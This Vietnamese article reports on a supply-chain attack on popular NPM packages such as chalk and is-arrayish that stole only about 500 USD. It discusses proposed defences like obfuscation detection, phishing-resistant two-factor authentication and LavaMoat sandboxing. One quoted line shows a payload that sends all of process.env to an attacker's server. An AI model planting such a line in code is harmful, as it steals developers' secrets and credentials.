Một cuộc tấn công chuỗi cung ứng gần đây nhắm vào các package NPM phổ biến đã phơi bày những lỗ hổng bảo mật nghiêm trọng trong phát triển JavaScript, mặc dù tác động tài chính vẫn còn thấp một cách đáng ngạc nhiên. Cuộc tấn công đã xâm phạm một số package được sử dụng rộng rãi bao gồm is-arrayish
và chalk
, những package này có tổng cộng hàng tỷ lượt tải xuống mỗi tuần. Tuy nhiên, những kẻ tấn công chỉ đánh cắp được khoảng 500 đô la Mỹ tiền điện tử, làm nổi bật cả quy mô tiềm năng và những hạn chế hiện tại của những cuộc tấn công như vậy.
Tác động tài chính của cuộc tấn công:
- Tổng số tiền điện tử bị đánh cắp: ~500 USD
- Thời gian tấn công: Vài giờ trước khi bị phát hiện
- Các gói bị ảnh hưởng:
is-arrayish
,chalk
, và các gói khác - Tổng lượt tải xuống hàng tuần: 2-3 tỷ lượt
Hệ thống phát hiện cần cải thiện lớn
Cộng đồng JavaScript đang kêu gọi hệ thống phát hiện tự động tốt hơn cho các package độc hại. Nhiều developer đề xuất rằng NPM nên triển khai các hệ thống để đánh dấu những bản phát hành đáng ngờ, đặc biệt là những bản chứa mã bị làm rối với tên biến thập lục phân và tra cứu mảng bất thường. Những kiểm tra đơn giản như độ phức tạp trên mỗi dòng hoặc độ dài dòng tối đa đã có thể phát hiện ra cuộc tấn công cụ thể này. Tuy nhiên, thách thức nằm ở bản chất mèo đuổi chuột của bảo mật - các tác giả malware liên tục điều chỉnh kỹ thuật của họ để vượt qua các hệ thống phát hiện.
Cuộc tấn công đã sử dụng các phương pháp làm rối thô sơ khiến nó dễ dàng bị phát hiện. Những kẻ tấn công tinh vi hơn có thể tránh những dấu hiệu rõ ràng như vậy bằng cách sử dụng tên biến có nghĩa và cấu trúc mã sạch hơn, khiến việc phát hiện trở nên khó khăn hơn đáng kể.
Lỗ hổng xác thực hai yếu tố vẫn là vấn đề quan trọng
Cuộc tấn công thành công một phần do các chiến thuật lừa đảo đã vượt qua các biện pháp bảo mật hiện có. Mặc dù NPM hỗ trợ các phương pháp xác thực mạnh bao gồm khóa phần cứng như YubiKey, việc triển khai vẫn chưa hoàn hảo. Cộng đồng đang thúc đẩy xác thực hai yếu tố không thể bị lừa đảo và quy trình xác minh tốt hơn cho việc phát hành package.
Một số developer đề xuất hệ thống xác minh trong đó các bản phát hành yêu cầu phê duyệt qua email trong vòng một giờ sau khi xuất bản, kết hợp với xác thực hai yếu tố riêng biệt. Những người khác đề xuất việc xuất bản tự động nên sử dụng các dịch vụ tương tự như PagerDuty, yêu cầu phê duyệt từ nhiều maintainer với quyền phủ quyết.
Các cải tiến bảo mật NPM được đề xuất:
- Phát hiện tự động các mẫu mã bị làm rối
- Kiểm tra độ phức tạp trên mỗi dòng cho các phiên bản mới
- Xác thực độ dài tối đa của dòng
- Yêu cầu xác thực hai yếu tố không thể bị lừa đảo
- Xác minh email với cửa sổ phê duyệt một giờ
- Hệ thống phê duyệt đa người duy trì cho việc xuất bản tự động
LavaMoat cung cấp bảo vệ runtime
Để đáp ứng với những lỗ hổng này, các công cụ như LavaMoat đang thu hút sự chú ý vì cung cấp bảo vệ runtime chống lại các package độc hại. LavaMoat hoạt động bằng cách đặt mỗi dependency vào các ngăn riêng biệt với quyền truy cập hạn chế vào các đối tượng và API toàn cục. Cách tiếp cận này có thể ngăn malware truy cập các API trình duyệt như fetch
hoặc window.ethereum.request
ngay cả khi nó vượt qua các biện pháp bảo mật khác.
Công nghệ này tạo ra một hệ thống dựa trên chính sách trong đó các package chỉ có thể truy cập các tài nguyên mà chúng cần một cách rõ ràng. Khi mã độc hại cố gắng truy cập các API không được phép, nó đơn giản là không thể thực thi, bảo vệ ứng dụng mà không làm hỏng chức năng hợp pháp.
Tính năng Bảo mật của LavaMoat:
- Cách ly dựa trên compartment cho từng dependency
- Kiểm soát truy cập theo chính sách đối với các API toàn cục
- Bảo vệ thời gian chạy chống lại các cuộc tấn công chuỗi cung ứng
- Tích hợp với Webpack thông qua plugin @lavamoat/webpack
- Cùng công nghệ được sử dụng trong tiện ích mở rộng trình duyệt MetaMask
Thành công tài chính hạn chế tiết lộ những ràng buộc của cuộc tấn công
Mặc dù ảnh hưởng đến các package có số lượng tải xuống khổng lồ, việc đánh cắp tiền điện tử của những kẻ tấn công vẫn còn tối thiểu ở mức khoảng 500 đô la Mỹ. Lợi nhuận thấp này xảy ra vì một số lý do: cuộc tấn công được phát hiện nhanh chóng, các nhà cung cấp ví nhanh chóng đưa các địa chỉ độc hại vào danh sách đen, và nhiều người dùng nhận được cảnh báo trước khi hoàn thành giao dịch.
Đây là một cuộc tấn công vào các package npm hợp pháp mà cuối cùng có thể có mặt trong hàng trăm nghìn máy tính của developer xây dựng hàng chục nghìn ứng dụng.
fetch(myserverurl+JSON.stringify(process.env)
sẽ có lợi nhuận cao hơn nhiều bậc như một payload.
Thành công hạn chế cho thấy rằng mặc dù các cuộc tấn công chuỗi cung ứng đặt ra những mối đe dọa nghiêm trọng, các biện pháp bảo mật hiện tại và sự cảnh giác của cộng đồng có thể giảm đáng kể tác động của chúng khi được triển khai đúng cách.
Tác động rộng hơn đến hệ sinh thái
Sự cố này phản ánh những thách thức rộng lớn hơn trong chuỗi cung ứng phần mềm mà mở rộng ra ngoài JavaScript. Những lỗ hổng tương tự tồn tại trong các package manager khác như pip cho Python, nơi các script cài đặt cũng có thể thực thi mã tùy ý trên máy tính của developer. Quy mô của NPM khiến nó trở thành mục tiêu hấp dẫn, nhưng những thách thức bảo mật cơ bản ảnh hưởng đến hầu hết các hệ sinh thái phát triển hiện đại.
Cuộc tấn công này là lời nhắc nhở rằng quản lý dependency đòi hỏi sự cảnh giác liên tục. Mặc dù các công cụ và quy trình tiếp tục cải thiện, các developer phải cân bằng giữa sự tiện lợi và bảo mật, thường chấp nhận một số rủi ro để có được lợi ích năng suất mà các hệ sinh thái package mang lại.
Tham khảo: You too can run malware from NPM (I mean without consequences)